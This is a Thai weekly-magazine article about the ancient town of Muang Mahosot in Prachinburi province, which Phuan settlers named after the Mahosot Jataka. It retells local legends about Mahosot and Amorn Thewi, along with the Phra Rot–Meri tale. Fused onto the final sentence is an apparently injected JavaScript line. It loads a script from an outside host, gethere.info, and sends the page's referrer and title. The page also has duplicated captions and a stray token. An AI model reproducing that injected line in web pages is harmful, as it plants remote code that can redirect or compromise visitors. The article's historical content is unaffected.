มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 5 ธันวาคม 2557

 

เมืองมโหสถ (อ. ศรีมโหสถ จ. ปราจีนบุรี)

ชาวพวนสมมุติชื่อจากนิทานชาดก

 

          เมืองมโหสถ เป็นชื่อเมืองโบราณใน อ. ศรีมโหสถ จ. ปราจีนบุรี ที่คนพวนเมื่อถูกกวาดต้อนให้มาตั้งบ้านเรือนอยู่บริเวณนี้ (ตั้งแต่สมัย ร.3 หลัง พ.ศ. 2371) ได้ร่วมกันสมมุติขึ้นเองจากชื่อเมืองในชาดกเรื่องพระมโหสถ

          เพราะเมื่อมาตั้งบ้านเรือนเริ่มแรกแล้วพบซากคูน้ำคันดินเมืองโบราณรกร้าง ไม่มีใครรู้ว่าชื่อเมืองอะไร? ของใครสร้างไว้? พวกพวนเลยพากันสมมุติชื่อขึ้นเรียกตามความเชื่อที่ติดมาจากดินแดนลาวว่าเมืองมโหสถ บางทีก็เรียก เมืองพระรถ ปะปนไปตามนิทานเรื่องพระรถ เมรี

          แต่คนส่วนมากนิยมเรียกเมืองมโหสถ แล้วผูกนิทานประจำถิ่นเพิ่มขึ้นเพื่ออธิบาย คันดินโบราณที่พากันสมมุติเรียกว่าถนนมโหสถ

(ซ้าย) นางอมรเทวีอยู่เมืองโคกขวาง ปัจจุบันมีซากเทวาลัยโถงพานหิน บ้านโคกขวาง อ. ศรีมหาโพธิ จ. ปราจีนบุรี (ขวา) ขนมขันหมากของพระมโหสถถูกสาดทิ้งที่หนองขันหมาก ปัจจุบันอยู่กลางทุ่ง มีถนนไปหนองขันหมาก อ. ศรีมหาโพธิ จ. ปราจีนบุรี

(ซ้าย) นางอมรเทวีอยู่เมืองโคกขวาง ปัจจุบันมีซากเทวาลัยโถงพานหิน บ้านโคกขวาง อ. ศรีมหาโพธิ จ. ปราจีนบุรี (ขวา) ขนมขันหมากของพระมโหสถถูกสาดทิ้งที่หนองขันหมาก ปัจจุบันอยู่กลางทุ่ง มีถนนไปหนองขันหมาก อ. ศรีมหาโพธิ จ. ปราจีนบุรี

          แท้จริงไม่ใช่ถนน แต่เป็นคันดินที่คนแต่ก่อนทำไว้เบี่ยงเบนน้ำป่าจากทิศตะวันออกให้ไหลลงแอ่งทางทิศตะวันตก (ที่เคยเป็นป่าชายเลนริมทะเลโคลนตมมาก่อนเมื่อนานมากแล้ว)

 

พระมโหสถ, พระรถ เมรี

          พระมโหสถ เป็นชื่อชาดก มีในทศชาติชาดกที่คนลาวยกย่องเป็นพิเศษ

          พระรถ เมรี เป็นชื่อนิทานแพร่หลายมากในกลุ่มคนลาว ได้รับยกย่องเป็นนิทานบรรพชนลาว (ในประเทศลาว) แล้วแพร่หลายมากในยุคอยุธยา มีบทละครและกาพย์ขับไม้ ฯลฯ

          พระมโหสถ กับ พระรถ เมรี เป็นนิทาน 2 เรื่องที่อยู่ในความทรงจำของกลุ่มคนลาว ไม่ว่าจะเคลื่อนย้ายหรือถูกกวาดต้อนไปอยู่ที่ใด ต้องมีนิทาน 2 เรื่อง ติดความทรงจำไปด้วย

          คนพวนที่ อ. ศรีมโหสถ กับ อ. ศรีมหาโพธิ มีนิทานทั้ง 2 เรื่องมาผูกเป็นชื่อบ้านนามเมือง เช่น เมืองมโหสถ หรือเมืองพระรถ

พระรถ เมรี ตอนพระรถขี่ม้าข้ามน้ำหนีนางเมรี อยู่อีกฝั่งนางเมรีกำลังร้องไห้เสียใจอยู่ริมแม่น้ำ            ที่กำลังไหลแรงอันเกิดจากยาวิเศษ บรรดารี้พลกองทัพยักษ์ที่กำลังเดินข้ามภูเขาป่าไม้ใหญ่ที่เป็นเครื่อง          กีดกั้น ก็เกิดจากยาวิเศษที่พระรถทรงโปรยไว้ (จิตรกรรมวรรณคดีใส่กรอบสมัย ร.5 ปัจจุบันเก็บรักษาในพระที่นั่งวโรภาษพิมาน พระราชวังบางปะอิน จ. พระนครศรีอยุธยา ภาพจากหนังสือจิตรกรรมและประติมากรรมแบบตะวันตกในราชสำนัก เล่ม 2, กรุงเทพฯ : สำนักพระราชวัง, 2537.)

พระรถ เมรี ตอนพระรถขี่ม้าข้ามน้ำหนีนางเมรี อยู่อีกฝั่งนางเมรีกำลังร้องไห้เสียใจอยู่ริมแม่น้ำ ที่กำลังไหลแรงอันเกิดจากยาวิเศษ บรรดารี้พลกองทัพยักษ์ที่กำลังเดินข้ามภูเขาป่าไม้ใหญ่ที่เป็นเครื่อง กีดกั้น ก็เกิดจากยาวิเศษที่พระรถทรงโปรยไว้ (จิตรกรรมวรรณคดีใส่กรอบสมัย ร.5 ปัจจุบันเก็บรักษาในพระที่นั่งวโรภาษพิมาน พระราชวังบางปะอิน จ. พระนครศรีอยุธยา ภาพจากหนังสือจิตรกรรมและประติมากรรมแบบตะวันตกในราชสำนัก เล่ม 2, กรุงเทพฯ : สำนักพระราชวัง, 2537.)

สถานที่ในนิทานท้องถิ่น เรื่องพระมโหสถ

          พระมโหสถครองเมืองมโหสถ (ที่บ้านโคกวัด อ. ศรีมโหสถ จ. ปราจีนบุรี) ได้จัดให้ผู้ใหญ่ไปสู่ขอเพื่ออภิเษกสมรสกับนางอมรเทวีอยู่เมืองโคกขวาง (ที่บ้านโคกขวาง อ. ศรีมหาโพธิ จ. ปราจีนบุรี)

          ฝ่ายนางอมรเทวีมีเงื่อนไขให้พระมโหสถจัดการสร้างถนนมาจากเมืองมโหสถ ส่วนนางก็จะสร้างถนนจากเมืองของนางให้เข้าหากัน และให้ถนนทั้งสองสายนี้เชื่อมต่อกันพอดีก่อนดาวรุ่งขึ้น หากเป็นไปตามนี้จึงยินยอมแต่งงานด้วย ถ้าไม่เป็นตามเงื่อนไขก็ไม่ตกลง

          ในที่สุดต่างฝ่ายจองถนนจากเมืองของตน เมื่อถนนจะถึงกัน นางอมรเทวีทำอุบายเอาโคมไฟขึ้นแขวนบนยอดไม้ ทำนองว่าดาวรุ่งขึ้นแล้ว ถนนก็ไม่เชื่อมกัน ซ้ำแนวถนนยังไม่ตรงกันอีกด้วย

          พระมโหสถเสียใจมาก จึงเอาขนมขันหมากซึ่งจัดเตรียมไว้นั้นสาดทิ้งหนองน้ำ ปัจจุบันเรียกหนองขันหมาก (อยู่กลางทุ่งหน้าหมู่บ้านเกาะสมอ อ. ศรีมหาโพธิ จ. ปราจีนบุรี)

adtodok4new

พระมโหสถ

          พระมโหสถ เป็นชื่อนิทานชาดก อยู่ในทศชาติชาดก ที่คนลาวลุ่มน้ำโขงยกย่องเป็นนิทานประจำกลุ่มชนของตน แล้วจดจำติดตัวไปทุกแห่งที่ไปตั้งหลักแหล่ง

 

          พระมโหสถ จากนิทานชาดก

          มโหสถชาดก เป็นคำบอกเล่าว่าพระโพธิสัตว์เสวยพระชาติเป็นบุตรเศรษฐีนามว่า มโหสถกุมาร ผู้มีปัญญาเฉลียวฉลาดแก้ปัญหานานาได้อย่างลุ่มลึกได้สำเร็จ มีเรื่องโดยย่อว่า

          ในอดีตกาล มีแคว้นๆ หนึ่งชื่อวิเทหรัฐ พระราชาทรงพระนามว่าวิเทห เสวยราชสมบัติในมิถิลานครหลวง

          ในกรุงมิถิลา ที่ประตูทั้ง 4 แห่ง มีหมู่บ้านประจำทุกแห่ง แต่หมู่บ้านหนึ่งมีชื่ออมัชฌคาม พระโพธิสัตว์ได้ถือเอาเป็นที่ปฏิสนธิสู่ครรภ์นางสุมนาเทวีภรรยาเศรษฐีชื่อสิริวัฒกะในหมู่บ้านนี้ เทพบุตรอื่นๆ อีกพันหนึ่งก็ลงมาถือปฏิสนธิในสกุลเศรษฐีใหญ่น้อยในคามเดียวกัน

          ขณะประสูติจากครรภ์มารดา พระอินทร์ได้เนรมิตลงมาวางแท่งโอสถลงในหัตถ์แห่งพระโพธิสัตว์แท่งหนึ่ง เพื่อจะให้มีพระเกียรติยศเลื่องลือ พระโพธิสัตว์จึงตรัสกับพระมารดาว่าโอสถนี้เป็นโอสถทิพย์ ขอมอบให้ไว้บำบัดคนเจ็บป่วยด้วยโรคต่างๆ เมื่อใครได้กินหรือทายานี้แล้วก็จะหายจากโรคนั้นๆทุกคน เศรษฐีสิริวัฒกะจึงให้นามกุมารว่ามโหสถ

          ตั้งแต่ปฐมวัย พระมโหสถได้ทรงแสดงพระปัญญาบารมีอย่างยิ่งใหญ่ ทรงแก้ปัญหาอันยุ่งยากและได้สำแดงความสามารถฉลาดเฉลียวเป็นอย่างดี เมื่อพระชนม์ 7 ปี ทรงสร้างศาลาสระโบกขรณี และสวนเป็นสาธารณสถาน

          ความทราบถึงท้าววิเทหราช จึงต้องการพบตัว ต่อมาได้รับเอาไปเลี้ยงด้วยพอพระทัยในความเฉลียวฉลาด พอพระชนม์ 16 ปี ท้าววิเทหราชจะหาภรรยาให้ แต่พระมโหสถต้องการจะหาเอง ในที่สุดได้อภิเษกกับนางอมรเทวีแห่งบ้านอุตตรยวมัชฌคาม ผู้มีสรีระอันงามและมีปัญญาอันยอดเยี่ยม

          ต่อจากนั้นได้ทรงประสบกับปัญหาอันยุ่งยากต่างๆ อันเกิดจากความริษยาของอำมาตย์ราชบริพาร และต้องกระทำภารกิจอันหนักมากมายจนสิ้นพระชาติ ล้วนแสดงให้เห็นความเฉลียวฉลาดสามารถแก้ความยุ่งยากต่างๆ ของพระมโหสถs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;